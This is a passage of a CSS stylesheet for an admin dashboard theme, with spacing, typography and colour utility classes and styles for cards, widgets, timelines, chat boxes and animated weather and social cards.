} .pb-10 { padding-bottom: 10px !important; } .pl-10 { padding-left: 10px !important; } .pr-10 { padding-right: 10px !important; } .m10 { margin: 10px !important; } .mt-10 { margin-top: 10px !important; } .mb-10 { margin-bottom: 10px !important; } .ml-10 { margin-left: 10px !important; } .mr-10 { margin-right: 10px !important; } .p15 { padding: 15px !important; } .pt-15 { padding-top: 15px !important; } .pb-15 { padding-bottom: 15px !important; } .pl-15 { padding-left: 15px !important; } .pr-15 { padding-right: 15px !important; } .m15 { margin: 15px !important; } .mt-15 { margin-top: 15px !important; } .mb-15 { margin-bottom: 15px !important; } .ml-15 { margin-left: 15px !important; } .mr-15 { margin-right: 15px !important; } .p20 { padding: 20px !important; } .pt-20 { padding-top: 20px !important; } .pb-20 { padding-bottom: 20px !important; } .pl-20 { padding-left: 20px !important; } .pr-20 { padding-right: 20px !important; } .m20 { margin: 20px !important; } .mt-20 { margin-top: 20px !important; } .mb-20 { margin-bottom: 20px !important; } .ml-20 { margin-left: 20px !important; } .mr-20 { margin-right: 20px !important; } .p25 { padding: 25px !important; } .pt-25 { padding-top: 25px !important; } .pb-25 { padding-bottom: 25px !important; } .pl-25 { padding-left: 25px !important; } .pr-25 { padding-right: 25px !important; } .m25 { margin: 25px !important; } .mt-25 { margin-top: 25px !important; } .mb-25 { margin-bottom: 25px !important; } .ml-25 { margin-left: 25px !important; } .mr-25 { margin-right: 25px !important; } .p30 { padding: 30px !important; } .pt-30 { padding-top: 30px !important; } .pb-30 { padding-bottom: 30px !important; } .pl-30 { padding-left: 30px !important; } .pr-30 { padding-right: 30px !important; } .m30 { margin: 30px !important; } .mt-30 { margin-top: 30px !important; } .mb-30 { margin-bottom: 30px !important; } .ml-30 { margin-left: 30px !important; } .mr-30 { margin-right: 30px !important; } .p35 { padding: 35px !important; } .pt-35 { padding-top: 35px !important; } .pb-35 { padding-bottom: 35px !important; } .pl-35 { padding-left: 35px !important; } .pr-35 { padding-right: 35px !important; } .m35 { margin: 35px !important; } .mt-35 { margin-top: 35px !important; } .mb-35 { margin-bottom: 35px !important; } .ml-35 { margin-left: 35px !important; } .mr-35 { margin-right: 35px !important; } .p40 { padding: 40px !important; } .pt-40 { padding-top: 40px !important; } .pb-40 { padding-bottom: 40px !important; } .pl-40 { padding-left: 40px !important; } .pr-40 { padding-right: 40px !important; } .m40 { margin: 40px !important; } .mt-40 { margin-top: 40px !important; } .mb-40 { margin-bottom: 40px !important; } .ml-40 { margin-left: 40px !important; } .mr-40 { margin-right: 40px !important; } .p45 { padding: 45px !important; } .pt-45 { padding-top: 45px !important; } .pb-45 { padding-bottom: 45px !important; } .pl-45 { padding-left: 45px !important; } .pr-45 { padding-right: 45px !important; } .m45 { margin: 45px !important; } .mt-45 { margin-top: 45px !important; } .mb-45 { margin-bottom: 45px !important; } .ml-45 { margin-left: 45px !important; } .mr-45 { margin-right: 45px !important; } .p50 { padding: 50px !important; } .pt-50 { padding-top: 50px !important; } .pb-50 { padding-bottom: 50px !important; } .pl-50 { padding-left: 50px !important; } .pr-50 { padding-right: 50px !important; } .m50 { margin: 50px !important; } .mt-50 { margin-top: 50px !important; } .mb-50 { margin-bottom: 50px !important; } .ml-50 { margin-left: 50px !important; } .mr-50 { margin-right: 50px !important; } .f-10 { font-size: 10px; } .f-12 { font-size: 12px; } .f-14 { font-size: 14px; } .f-16 { font-size: 16px; } .f-18 { font-size: 18px; } .f-20 { font-size: 20px; } .f-22 { font-size: 22px; } .f-24 { font-size: 24px; } .f-26 { font-size: 26px; } .f-28 { font-size: 28px; } .f-30 { font-size: 30px; } .f-32 { font-size: 32px; } .f-34 { font-size: 34px; } .f-36 { font-size: 36px; } .f-38 { font-size: 38px; } .f-40 { font-size: 40px; } .f-42 { font-size: 42px; } .f-44 { font-size: 44px; } .f-46 { font-size: 46px; } .f-48 { font-size: 48px; } .f-50 { font-size: 50px; } .f-52 { font-size: 52px; } .f-54 { font-size: 54px; } .f-56 { font-size: 56px; } .f-58 { font-size: 58px; } .f-60 { font-size: 60px; } .f-62 { font-size: 62px; } .f-64 { font-size: 64px; } .f-66 { font-size: 66px; } .f-68 { font-size: 68px; } .f-70 { font-size: 70px; } .f-72 { font-size: 72px; } .f-74 { font-size: 74px; } .f-76 { font-size: 76px; } .f-78 { font-size: 78px; } .f-80 { font-size: 80px; } .fw-100 { font-weight: 100; } .fw-200 { font-weight: 200; } .fw-300 { font-weight: 300; } .fw-400 { font-weight: 400; } .fw-500 { font-weight: 500; } .fw-600 { font-weight: 600; } .fw-700 { font-weight: 700; } .fw-800 { font-weight: 800; } .fw-900 { font-weight: 900; } .img-20 { width: 20px; } .img-30 { width: 30px; } .img-40 { width: 40px; } .img-50 { width: 50px; } .img-60 { width: 60px; } .img-70 { width: 70px; } .img-80 { width: 80px; } .img-90 { width: 90px; } .img-100 { width: 100px; } .b-t-primary { border-top: 1px solid #007bff; } .b-b-primary { border-bottom: 1px solid #007bff; } .b-l-primary { border-left: 1px solid #007bff; } .b-r-primary { border-right: 1px solid #007bff; } .b-primary { border: 1px solid #007bff; } .b-t-warning { border-top: 1px solid #fb6340; } .b-b-warning { border-bottom: 1px solid #fb6340; } .b-l-warning { border-left: 1px solid #fb6340; } .b-r-warning { border-right: 1px solid #fb6340; } .b-warning { border: 1px solid #fb6340; } .b-t-danger { border-top: 1px solid #f5365c; } .b-b-danger { border-bottom: 1px solid #f5365c; } .b-l-danger { border-left: 1px solid #f5365c; } .b-r-danger { border-right: 1px solid #f5365c; } .b-danger { border: 1px solid #f5365c; } .b-t-success { border-top: 1px solid #2dce89; } .b-b-success { border-bottom: 1px solid #2dce89; } .b-l-success { border-left: 1px solid #2dce89; } .b-r-success { border-right: 1px solid #2dce89; } .b-success { border: 1px solid #2dce89; } .b-t-inverse { border-top: 1px solid #4c5667; } .b-b-inverse { border-bottom: 1px solid #4c5667; } .b-l-inverse { border-left: 1px solid #4c5667; } .b-r-inverse { border-right: 1px solid #4c5667; } .b-inverse { border: 1px solid #4c5667; } .b-t-info { border-top: 1px solid #11cdef; } .b-b-info { border-bottom: 1px solid #11cdef; } .b-l-info { border-left: 1px solid #11cdef; } .b-r-info { border-right: 1px solid #11cdef; } .b-info { border: 1px solid #11cdef; } .bg-default { background-color: #d6d6d6 !important; } .bg-theme { background-color: #ef4153 !important; } .bg-aqua { background-color: #3ec5d6 !important; } .bg-blue { background-color: #19B5FE !important; } .bg-light-blue { background-color: #89CFF0 !important; } .bg-teal { background-color: #008081 !important; } .bg-yellow { background-color: #F7CA18 !important; } .bg-orange { background-color: #FF8000 !important; } .bg-green { background-color: #26C281 !important; } .bg-lime { background-color: #cad900 !important; } .bg-red { background-color: #F22613 !important; } .bg-fuchsia { background-color: #df2de3 !important; } .bg-navy { background-color: #000080 !important; } .bg-empty { background: transparent !important; } .bg-primary { background-color: #007bff !important; } .bg-success { background-color: #2dce89 !important; } .bg-info { background-color: #11cdef !important; } .bg-warning { background-color: #fb6340 !important; } .bg-danger { background-color: #f5365c !important; } .bg-muted { background-color: #6c757d !important; } .bg-inverse { background-color: #4c5667 !important; } .bg-purple { background-color: #BF55EC !important; } .bg-pink { background-color: #f76397 !important; } .bg-white { background-color: #ffffff !important; } .bg-facebook { background-color: #3b579d !important; } .bg-twitter { background-color: #1da1f2 !important; } .bg-google { background-color: #dc4a38 !important; } .bg-linkedin { background-color: #0177b4 !important; } .text-default { color: #d6d6d6 !important; } .text-blue { color: #19B5FE !important; } .text-light-blue { color: #89CFF0 !important; } .text-teal { color: #008081 !important; } .text-navy { color: #000080 !important; } .text-lime { color: #cad900 !important; } .text-orange { color: #FF8000 !important; } .text-yellow { color: #F7CA18 !important; } .text-aqua { color: #3ec5d6 !important; } .text-white { color: #ffffff !important; } .text-danger { color: #f5365c !important; } .text-green { color: #26C281 !important; } .text-primary { color: #007bff !important; } .text-warning { color: #fb6340 !important; } .text-success { color: #2dce89 !important; } .text-info { color: #11cdef !important; } .text-inverse { color: #4c5667 !important; } .text-pink { color: #f76397 !important; } .text-purple { color: #BF55EC !important; } .text-dark { color: #212121 !important; } .text-fuchsia { color: #df2de3 !important; } .text-red { color: #F22613 !important; } .text-facebook { color: #3b579d !important; } .text-twitter { color: #1da1f2 !important; } .text-instagram { color: #fb3958 !important; } .text-google { color: #dc4a38 !important; } .text-linkedin { color: #0177b4 !important; } .text-behance { color: #053eff !important; } .text-dribbble { color: #ea4c89 !important; } .text-red { color: #F22613 !important; } .min-width-zero { min-width: 0; } .w-10 { width: 10% !important; } .w-90 { width: 90% !important; } .w-12 { width: 12% !important; } .w-88 { width: 88% !important; } .w-15 { width: 15% !important; } .w-85 { width: 85% !important; } .w-20 { width: 20% !important; } .w-80 { width: 80% !important; } .w-30 { width: 30% !important; } .w-70 { width: 70% !important; } .w-40 { width: 40% !important; } .w-60 { width: 60% !important; } .hidden { display: none !important; } .d-inline-block { display: inline-block !important; } .d-block { display: block !important; } .visuallyhidden { border: 0; clip: rect(0 0 0 0); height: 1px; margin: -1px; overflow: hidden; padding: 0; position: absolute; width: 1px; } .visuallyhidden.focusable:active, .visuallyhidden.focusable:focus { clip: auto; height: auto; margin: 0; overflow: visible; position: static; width: auto; } .invisible { visibility: hidden; } .clearfix:before, .clearfix:after { content: " "; display: table; } .clearfix:after { clear: both; } @media only screen and (max-width: 1023px) { .w-sm-100 { width: 100% !important; } } @media only screen and (max-width: 767px) { .w-xs-100 { width: 100% !important; } } .card { border-color: #ffff; position: relative; width: 100%; border: none; margin-bottom: 30px; -webkit-box-shadow: 0 6px 0 0 rgba(0, 0, 0, 0.01), 0 15px 32px 0 rgba(0, 0, 0, 0.06); -moz-box-shadow: 0 6px 0 0 rgba(0, 0, 0, 0.01), 0 15px 32px 0 rgba(0, 0, 0, 0.06); box-shadow: 0 6px 0 0 rgba(0, 0, 0, 0.01), 0 15px 32px 0 rgba(0, 0, 0, 0.06); -moz-transition: all 0.5s ease-in-out; -o-transition: all 0.5s ease-in-out; -webkit-transition: all 0.5s ease-in-out; transition: all 0.5s ease-in-out; border-radius: 4px; -webkit-border-radius: 4px; -moz-border-radius: 4px; } .card .card-header { padding: 20px 20px; border: 0; background: none; display: -webkit-box; display: -moz-box; display: -ms-flexbox; display: -webkit-flex; display: flex; -webkit-align-items: center; -moz-align-items: center; -ms-align-items: center; align-items: center; } .card .card-header:first-child { border-radius: calc(.25rem - 1px) calc(.25rem - 1px) 0 0; } .card .card-header h3 { margin: 0; font-size: 18px; font-weight: normal; color: #212121; } .card .card-header .card-options a:not(.dropdown-item) { width: 30px; height: 30px; padding: 0; border-radius: 50%; text-align: center; line-height: 33px; color: #212121; display: inline-block; -moz-transition: all 0.5s ease-in-out; -o-transition: all 0.5s ease-in-out; -webkit-transition: all 0.5s ease-in-out; transition: all 0.5s ease-in-out; } .card .card-header .card-options span { color: #444; font-size: 12px; } .card .card-header .card-search { position: relative; } .card .card-header .card-search .form-control { padding-right: 60px; font-size: 14px; max-height: 30px; min-height: 30px; } .card .card-header .card-search .form-control ~ .btn { position: absolute; right: 0; top: 0; padding: 0; width: 30px; height: 30px; line-height: 30px; border-radius: 4px; background-color: #eceff1; border: none; -webkit-box-shadow: none; -moz-box-shadow: none; box-shadow: none; } .card .card-header .card-search.with-adv-search .adv-btn { background-color: transparent; border: 0; position: absolute; right: 30px; top: 0; width: 30px; height: 30px; line-height: 30px; padding: 0; -webkit-box-shadow: none; -moz-box-shadow: none; box-shadow: none; } .card .card-header .card-search.with-adv-search .adv-search-wrap { padding: 20px; display: none; position: absolute; left: 30px !important; width: 100%; top: 30px; background-color: #ffffff; z-index: 4; -webkit-box-shadow: 0 2px 30px rgba(0, 0, 0, 0.08); -moz-box-shadow: 0 2px 30px rgba(0, 0, 0, 0.08); box-shadow: 0 2px 30px rgba(0, 0, 0, 0.08); border-radius: 6px; -webkit-border-radius: 6px; -moz-border-radius: 6px; } .card .card-header .card-search.with-adv-search .adv-search-wrap .form-control { padding-right: 15px; } .card .card-header .card-search.with-adv-search .adv-search-wrap .btn { padding: 0 15px; font-size: 14px; height: 30px; border-radius: 30px; -webkit-border-radius: 30px; -moz-border-radius: 30px; } .card .card-header .card-search.with-adv-search .adv-search-wrap.show { display: block; } .card .card-header.note-toolbar { padding: 0 0 5px 5px; } .card .card-header .dropdown .checkbox-dropdown { padding: 0px; width: 16px; height: 16px; background-color: #dee2e6; border-radius: .25rem; margin-right: 15px; } .card .card-body { padding: 20px 20px; flex: 1 1 auto; position: relative; } .card .card-img { height: 100%; object-fit: cover; max-height: 200px; width: unset; border-radius: 4px; -webkit-border-radius: 4px; -moz-border-radius: 4px; } .card .card-img-overlay { background: rgba(0, 0, 0, 0.5); padding: 1.75rem; border-radius: 4px; } .card.icon-card .card-body i { font-size: 46px; line-height: 66px; color: #212121; } .card.icon-card .card-body .card-text { color: #8f8f8f; height: 30px; line-height: 26px; } .card.icon-card .card-body .lead { color: #212121; margin-bottom: 0; } .card .nav-pills.custom-pills { border-bottom: 1px solid #f1f1f1; } .card .nav-pills.custom-pills .nav-link { border-radius: 0; opacity: .7; font-size: 14px; padding: 12px 15px; } .card .nav-pills.custom-pills .nav-link.active { color: #ef4153; opacity: 1; background-color: transparent; border-bottom: 2px solid #ef4153; } .widget { border-color: #ffff; position: relative; width: 100%; border: none; margin-bottom: 30px; background-color: #fff; overflow: hidden; -webkit-box-shadow: 0 6px 0 0 rgba(0, 0, 0, 0.01), 0 15px 32px 0 rgba(0, 0, 0, 0.06); -moz-box-shadow: 0 6px 0 0 rgba(0, 0, 0, 0.01), 0 15px 32px 0 rgba(0, 0, 0, 0.06); box-shadow: 0 6px 0 0 rgba(0, 0, 0, 0.01), 0 15px 32px 0 rgba(0, 0, 0, 0.06); -moz-transition: all 0.5s ease-in-out; -o-transition: all 0.5s ease-in-out; -webkit-transition: all 0.5s ease-in-out; transition: all 0.5s ease-in-out; border-radius: 4px; -webkit-border-radius: 4px; -moz-border-radius: 4px; } .widget .widget-header { padding: 10px 20px; border-bottom: 1px solid #f5f7f9; position: relative; } .widget .widget-header .widget-title { font-size: 18px; margin: 0; } .widget .widget-header .widget-tools { position: absolute; right: 10px; top: 5px; } .widget .widget-header .widget-tools .btn-widget-tool { padding: 5px; font-size: 16px; background: transparent; color: #97a0b3; } .widget .widget-header .widget-tools .btn-widget-tool i { margin: 0; } .widget .widget-header .widget-tools .btn-widget-tool:focus { -webkit-box-shadow: none; -moz-box-shadow: none; box-shadow: none; } .widget .widget-body { padding: 20px 20px; } .widget .widget-body h6 { margin-bottom: 0; font-weight: 400; } .widget .widget-body h2 { margin-bottom: 0px; font-weight: 600; } .widget .widget-body .icon { font-size: 37px; color: #9aa0ac; } .widget .widget-body .overlay { position: absolute; top: 0; left: 0; width: 100%; height: 100%; background: rgba(0, 0, 0, 0.22); text-align: center; z-index: 3; display: -webkit-box; display: -moz-box; display: -ms-flexbox; display: -webkit-flex; display: flex; -webkit-justify-content: center; -moz-justify-content: center; -ms-justify-content: center; justify-content: center; -ms-flex-pack: center; -webkit-align-items: center; -moz-align-items: center; -ms-align-items: center; align-items: center; -webkit-flex-direction: column; -moz-flex-direction: column; -ms-flex-direction: column; flex-direction: column; } .widget .widget-body .overlay i { font-size: 32px; color: #ef4153; margin-bottom: 5px; } .widget .progress { border-radius: 0; } .widget[class*=bg-] .widget-header { background-color: rgba(255, 255, 255, 0.2); border-bottom-color: transparent; } .widget[class*=bg-] .widget-header .widget-title { color: #fff; } .widget[class*=bg-] .widget-header .widget-tools .btn-widget-tool { color: rgba(255, 255, 255, 0.6); } .widget[class*=bg-] .widget-body { color: #ffffff; } .widget[class*=bg-] .widget-body .icon { color: #ffffff; } .widget.social-widget .widget-body { text-align: center; } .loading { -webkit-animation-name: loading; animation-name: loading; -webkit-animation-duration: .75s; animation-duration: .75s; -webkit-animation-iteration-count: infinite; animation-iteration-count: infinite; -webkit-animation-timing-function: linear; animation-timing-function: linear; } @-webkit-keyframes loading { 0% { -webkit-transform: rotate(0deg); transform: rotate(0deg); } to { -webkit-transform: rotate(1turn); transform: rotate(1turn); } } @keyframes loading { 0% { -webkit-transform: rotate(0deg); transform: rotate(0deg); } to { -webkit-transform: rotate(1turn); transform: rotate(1turn); } } .card-group .card:not(:last-child) { border-right: 1px solid #f1f1f1; } .card .card-header { border-bottom: 1px solid #f1f1f1; } .card .card-header .card-header-right { right: 10px; top: 16px; display: inline-block; float: right; position: absolute; } .card .card-header .card-header-right .card-option { width: 35px; height: 25px; overflow: hidden; margin: 0; -moz-transition: 0.3s ease-in-out; -o-transition: 0.3s ease-in-out; -webkit-transition: 0.3s ease-in-out; transition: 0.3s ease-in-out; } .card .card-header .card-header-right .card-option li { display: inline-block; } .card .card-header .card-header-right .card-option li i { margin: 0 5px; cursor: pointer; font-size: 15px; color: #8c8c8c; line-height: 2; font-weight: 300; } .card .card-block { padding: 1.25rem; } .card .card-body .icon { font-size: 37px; color: #9aa0ac; } .card .feeds-widget { padding: 0; } .card .feeds-widget .feed-item { display: block; padding: 12px 15px; border: 1px solid #efefef; border-left: 0; border-right: 0; } .card .feeds-widget .feed-item a { display: -webkit-box; display: -moz-box; display: -ms-flexbox; display: -webkit-flex; display: flex; -webkit-align-items: center; -moz-align-items: center; -ms-align-items: center; align-items: center; } .card .feeds-widget .feed-item a .feeds-left { width: 50px; font-size: 30px; } .card .feeds-widget .feed-item a .feeds-body { width: 100%; } .card .feeds-widget .feed-item a .feeds-body h4 { font-size: 16px; margin: 0; font-weight: 700; margin-bottom: 5px; } .card .feeds-widget .feed-item a .feeds-body h4 ~ small { text-overflow: ellipsis; white-space: nowrap; overflow: hidden; width: calc(100% - 60px); font-size: 13px; color: #777; } .card .feeds-widget .feed-item.feed-item { margin-top: -1px; } .card .timeline .header { background-size: cover; color: #fff; position: relative; } .card .timeline .header .color-overlay { padding: 2em; box-sizing: border-box; background: rgba(123, 94, 155, 0.5); line-height: normal; } .card .timeline .header .color-overlay .day-number { font-size: 6em; margin-right: 15px; display: inline-block; font-weight: 700; line-height: 1; } .card .timeline .header .color-overlay .date-right { display: inline-block; } .card .timeline .header .color-overlay .date-right .day-name { font-size: 22px; } .card .timeline .header .color-overlay .date-right .month { text-transform: uppercase; margin-top: 2px; } .card .timeline ul { list-style: none; position: relative; padding-left: 30px; padding-top: 10px; margin: 0; } .card .timeline ul:before, .card .timeline ul::before { content: ' '; height: 100%; width: 1px; background-color: #f0f0f0; position: absolute; top: 0; left: 35px; z-index: 1; } .card .timeline ul li { padding-bottom: 15px; } .card .timeline ul li .bullet { width: 10px; height: 10px; display: inline-block; z-index: 2; position: relative; vertical-align: top; margin: 7px 0; margin-right: 5px; border-radius: 50%; -webkit-border-radius: 50%; -moz-border-radius: 50%; } .card .timeline ul li .time { width: 20%; font-size: 10px; margin: 6px 0; vertical-align: top; display: inline-block; } .card .timeline ul li .desc { width: 65%; display: inline-block; } .card .timeline ul li .desc h3 { margin: 0; font-size: 14px; font-weight: 700; } .card .timeline ul li .desc h4 { margin-top: 5px; font-size: 12px; color: #999; } .card .task-list { margin: 0; padding: 0; } .card .task-list li { display: block; padding: 15px 0 15px 0; margin: 0; cursor: pointer; } .card .task-list li:first-child { padding-top: 0; } .card .task-list li.list span { float: left; margin-top: 20px; color: #FF7E39; } .card .task-list li.list span:before, .card .task-list li.list span::before { font-size: 1.5rem; content: "\e83f"; font-family: 'iconkit'; vertical-align: middle; border: 3px solid #FF7E39; padding: 4px; border-radius: 50%; -webkit-border-radius: 50%; -moz-border-radius: 50%; } .card .task-list li.list .task-details { margin-left: 60px; } .card .task-list li.list .task-details p { margin: 0; padding: 10px 0 6px 0; line-height: 140%; } .card .task-list li.list .task-details p.date { padding: 0; margin: 0; font-size: .75rem; } .card .task-list li.completed { text-decoration: line-through; color: #8796af; -moz-transition: all 0.3s ease-out; -o-transition: all 0.3s ease-out; -webkit-transition: all 0.3s ease-out; transition: all 0.3s ease-out; } .card .task-list li.completed span:before, .card .task-list li.completed span::before { color: #50b924; border: 3px solid #50b924; } .card .chat-box .chat-list { margin: 0; padding: 0; list-style: none; } .card .chat-box .chat-list .chat-item { list-style: none; margin-top: 30px; } .card .chat-box .chat-list .chat-item .chat-img { display: inline-block; width: 45px; vertical-align: top; } .card .chat-box .chat-list .chat-item .chat-img img { width: 45px; border-radius: 100%; -webkit-border-radius: 100%; -moz-border-radius: 100%; } .card .chat-box .chat-list .chat-item .chat-content { width: calc(100% - 50px); display: inline-block; padding-left: 15px; } .card .chat-box .chat-list .chat-item .chat-content .box { display: inline-block; padding: 10px; margin-bottom: 3px; color: #343a40; background: #f6f8f9; border-radius: 6px; -webkit-border-radius: 6px; -moz-border-radius: 6px; } .card .chat-box .chat-list .chat-item .chat-time { display: block; font-size: 10px; color: #4F5467; margin: 5px 0 15px 65px; } .card .chat-box .chat-list .chat-item.odd .chat-content { text-align: right; width: calc(100% - 0px); } .card .chat-box .chat-list .chat-item.odd .chat-content .box { clear: both; color: #fff; background: #137eff; } .card .chat-box .chat-list .chat-item.odd .chat-time { text-align: right; } .card .chat-box .chat-list .chat-item.odd + .odd { margin-top: 0; } .card .chat-box .chat-list .chat-item:first-child { margin-top: 0; } .card .chat-footer { position: relative; background-color: #ffffff; } .card .chat-footer .input-wrap { padding-right: 50px; } .card .chat-footer .btn { position: absolute; top: 10px; right: 20px; width: 35px; height: 35px; } .card .card-title { font-size: 18px; } .card .card-subtitle { font-weight: 300; margin-bottom: 10px; color: #afb5c1; } .jvectormap-tip { border: none; font-family: 'Nunito Sans', sans-serif; font-weight: 700; padding: 5px 10px; font-size: 11px; } .chart-line .ct-grid { stroke-dasharray: 0; stroke: rgba(255, 255, 255, 0.5); } .chart-line .ct-point { stroke-width: 0; } .chart-line .ct-line { stroke: #FFF; stroke-width: 3px; } .chart-shadow { transition: all 0.3s ease-in-out; filter: drop-shadow(0px 5px 2px rgba(43, 43, 43, 0.2)); } .card-blue, .card-green, .card-red, .card-yellow { position: relative; overflow: hidden; } .card-blue:after, .card-green:after, .card-red:after, .card-yellow:after { content: ""; position: absolute; top: 0; left: 0; width: 100%; height: 100%; z-index: 1; } .card-blue .card-block, .card-blue .card-block-big, .card-blue .card-block-small, .card-blue .card-body, .card-blue .card-footer, .card-blue .card-header, .card-green .card-block, .card-green .card-block-big, .card-green .card-block-small, .card-green .card-body, .card-green .card-footer, .card-green .card-header, .card-red .card-block, .card-red .card-block-big, .card-red .card-block-small, .card-red .card-body, .card-red .card-footer, .card-red .card-header, .card-yellow .card-block, .card-yellow .card-block-big, .card-yellow .card-block-small, .card-yellow .card-body, .card-yellow .card-footer, .card-yellow .card-header { position: relative; z-index: 5; } .card-red::after { background: #f5365c; } .card-red .ct-line { stroke: #fff; } .card-red .ct-grid { stroke: #f97f97; } .card-blue::after { background: #007bff; } .card-blue .ct-line { stroke: #fff; } .card-blue .ct-grid { stroke: #4da3ff; } .card-green::after { background: #2dce89; } .card-green .ct-line { stroke: #fff; } .card-green .ct-grid { stroke: #69deac; } .card-yellow::after { background: #fb6340; } .card-yellow .ct-line { stroke: #fff; } .card-yellow .ct-grid { stroke: #fda08b; } .proj-progress-card .progress { height: 6px; overflow: visible; margin-bottom: 10px; } .proj-progress-card .progress .progress-bar { position: relative; } .proj-progress-card .progress .progress-bar:after { content: ""; background: #fff; position: absolute; right: -6px; top: -4px; border-radius: 50%; width: 15px; height: 15px; } .proj-progress-card .progress .progress-bar.bg-red:after { border: 3px solid #f5365c; } .proj-progress-card .progress .progress-bar.bg-blue:after { border: 3px solid #007bff; } .proj-progress-card .progress .progress-bar.bg-green:after { border: 3px solid #2dce89; } .proj-progress-card .progress .progress-bar.bg-yellow:after { border: 3px solid #fb6340; } @media only screen and (max-width: 992px) { .proj-progress-card h6 { margin-top: 15px; } .proj-progress-card .progress { margin-bottom: 30px; } } .sos-st-card h3 { display: inline-block; } .sos-st-card h3 i { color: #fff; font-size: 18px; width: 60px; height: 60px; border-radius: 50%; padding: 12px 0; text-align: center; margin-right: 15px; border: 10px solid transparent; transition: all 0.3s ease-in-out; } .sos-st-card h5 { position: relative; } .sos-st-card h5:after { content: ""; background: #d2d2d2; position: absolute; top: -20px; right: -15px; width: 1px; height: 60px; } .sos-st-card.facebook h3 { color: #3b579d; } .sos-st-card.facebook h3 i { background-color: #3b579d; border-color: #869cd2; } .sos-st-card.twitter h3 { color: #1da1f2; } .sos-st-card.twitter h3 i { background-color: #1da1f2; border-color: #96d3f9; } .sos-st-card.linkedin h3 { color: #0177b4; } .sos-st-card.linkedin h3 i { background-color: #0177b4; border-color: #37bafe; } .sos-st-card.dribble h3 { color: #ea4c89; } .sos-st-card.dribble h3 i { background-color: #ea4c89; border-color: #f7bed4; } .sos-st-card:hover h3 i { transform: scale(1.2) rotate(35deg); } @media only screen and (max-width: 768px) { .sos-st-card h3 i { font-size: 16px; width: 35px; height: 35px; padding: 7px 0; margin-right: 0; border-width: 3px; margin-left: -10px; } .sos-st-card h5:after { display: none; } } .wather-card { overflow: hidden; } .wather-card .wather-card-top { position: relative; overflow: hidden; min-height: 200px; background: linear-gradient(to bottom, #7a9af5, rgba(90, 179, 243, 0.5)); } .wather-card .wather-card-top .wave { position: absolute; left: 0; right: 0; top: auto; bottom: 0; z-index: 1; } .wather-card .wather-card-top .wave + .wave { z-index: 2; } .wather-card .wather-card-top .wave + .wave + .wave { z-index: 3; } .wather-card .wather-card-top .sun { background: #fff; position: absolute; top: 50px; left: 50px; width: 30px; height: 30px; border-radius: 50%; } .wather-card .wather-card-top .sun:after, .wather-card .wather-card-top .sun:before { content: ""; width: 100%; height: 100%; border-radius: 50%; position: absolute; box-shadow: inset 0 0 20px 5px rgba(255, 255, 255, 0.4); } .wather-card .wather-card-top .sun:after { animation: sunwawe 2.1s cubic-bezier(0.65, 0.815, 0.735, 0.395) infinite; } .wather-card .wather-card-top .sun:before { animation: sunwawe 2.1s cubic-bezier(0.165, 0.84, 0.44, 1) infinite; animation-delay: 1.15s; } .wather-card .wather-card-top .w-star1, .wather-card .wather-card-top .w-star2 { position: absolute; top: 0; left: 0; width: 100%; } .wather-card .wather-card-top .w-star1 { animation: sparcle 2.1s cubic-bezier(0.65, 0.815, 0.735, 0.395) infinite; } .wather-card .wather-card-top .w-star2 { animation: sparcle 2.1s cubic-bezier(0.165, 0.84, 0.44, 1) infinite; animation-delay: 1.15s; } .wather-card .wather-card-top .w-cloud { position: absolute; right: 30px; top: 60px; opacity: 0; animation: w-cluod 15s linear infinite; } @keyframes w-cluod { 0% { opacity: 0; transform: translate(0px, 0px); } 20% { opacity: 0.8; transform: translate(30px, -25px); } 40% { opacity: 1; transform: translate(0px, 0px); } 60% { opacity: 0.6; transform: translate(-30px, 25px); } 80% { opacity: 0.5; transform: translate(0px, 0px); } 80% { opacity: 0; transform: translate(0px, 0px); } } @keyframes sparcle { 0% { opacity: 1; } 50% { opacity: 0; } } @keyframes sunwawe { 0% { transform: scale(1); opacity: 1; } 100% { transform: scale(4); opacity: 0; } } .comp-card i { color: #fff; width: 50px; height: 50px; border-radius: 5px; text-align: center; padding: 17px 0; font-size: 18px; text-shadow: 0 6px 8px rgba(62, 57, 107, 0.18); transition: all 0.3s ease-in-out; } .comp-card:hover i { border-radius: 50%; } .proj-t-card { position: relative; overflow: hidden; } .proj-t-card .pt-badge { color: #fff; margin-bottom: 0; display: inline-block; padding: 60px 50px 20px 20px; border-radius: 50%; position: absolute; top: -45px; right: -35px; transition: all 0.3s ease-in-out; box-shadow: 0 5px 7px 0 rgba(62, 57, 107, 0.18); } .proj-t-card:hover .pt-badge { padding: 65px 55px 30px 30px; text-shadow: 0 3px 5px rgba(62, 57, 107, 0.5); box-shadow: 0 4px 4px 0 rgba(62, 57, 107, 0.3); } .prod-p-card i { background-color: #fff; width: 40px; height: 40px; border-radius: 50%; text-align: center; padding: 11px 0; font-size: 18px; transition: all 0.3s ease-in-out; box-shadow: 0 8px 15px rgba(62, 57, 107, 0.2); } .prod-p-card:hover i { box-shadow: 0 4px 4px rgba(62, 57, 107, 0.2); transform: scale(0.9) translatey(5px); } .ticket-card .lbl-card { box-shadow: 0 5px 4px -2px rgba(51, 51, 51, 0.16); border-radius: 5px; padding: 5px 15px; color: #fff; display: inline-block; } .analytic-card .analytic-icon { width: 50px; height: 50px; text-align: center; padding: 17px 0; border-radius: 50%; background-color: #fff; transition: all 0.3s ease-in-out; box-shadow: 0 8px 15px 0 rgba(51, 51, 51, 0.2); } .analytic-card:hover .analytic-icon { box-shadow: 0 4px 4px rgba(62, 57, 107, 0.2); transform: rotate(-15deg) translatey(5px); } .social-res-card .progress { height: 6px; } .product-progress-card .progress { height: 6px; } .product-progress-card .pp-cont { padding-left: 15px; padding-right: 15px; position: relative; } .product-progress-card .pp-cont:after { content: ""; background: #d2d2d2; width: 1px; height: 100%; position: absolute; top: 0; left: -15px; } .product-progress-card .pp-main > div:first-child .pp-cont:after { display: none; } @media only screen and (max-width: 992px) { .product-progress-card .pp-cont { margin-top: 15px; margin-bottom: 15px; } .product-progress-card .pp-cont:after { display: none; } } .social-card h2 { text-shadow: 0 8px 15px rgba(51, 51, 51, 0.2); transition: all 0.3s ease-in-out; } .social-card:hover h2 { text-shadow: 0 4px 4px rgba(51, 51, 51, 0.2); transform: scale(0.9) translatey(5px); } .user-card { overflow: hidden; } .user-card .user-img { border-radius: 50%; display: flex; align-items: center; width: 80px; height: 80px; margin: 0 auto; position: relative; box-shadow: 0 8px 15px 0 rgba(51, 51, 51, 0.2); } .user-card .user-img h5 { margin: 0 auto; } .user-card .user-img .link-share { position: absolute; padding: 4px 0; right: 0; bottom: 0; border-radius: 50%; width: 25px; height: 25px; background: #fff; color: #666; box-shadow: 0 8px 15px 0 rgba(51, 51, 51, 0.2); } 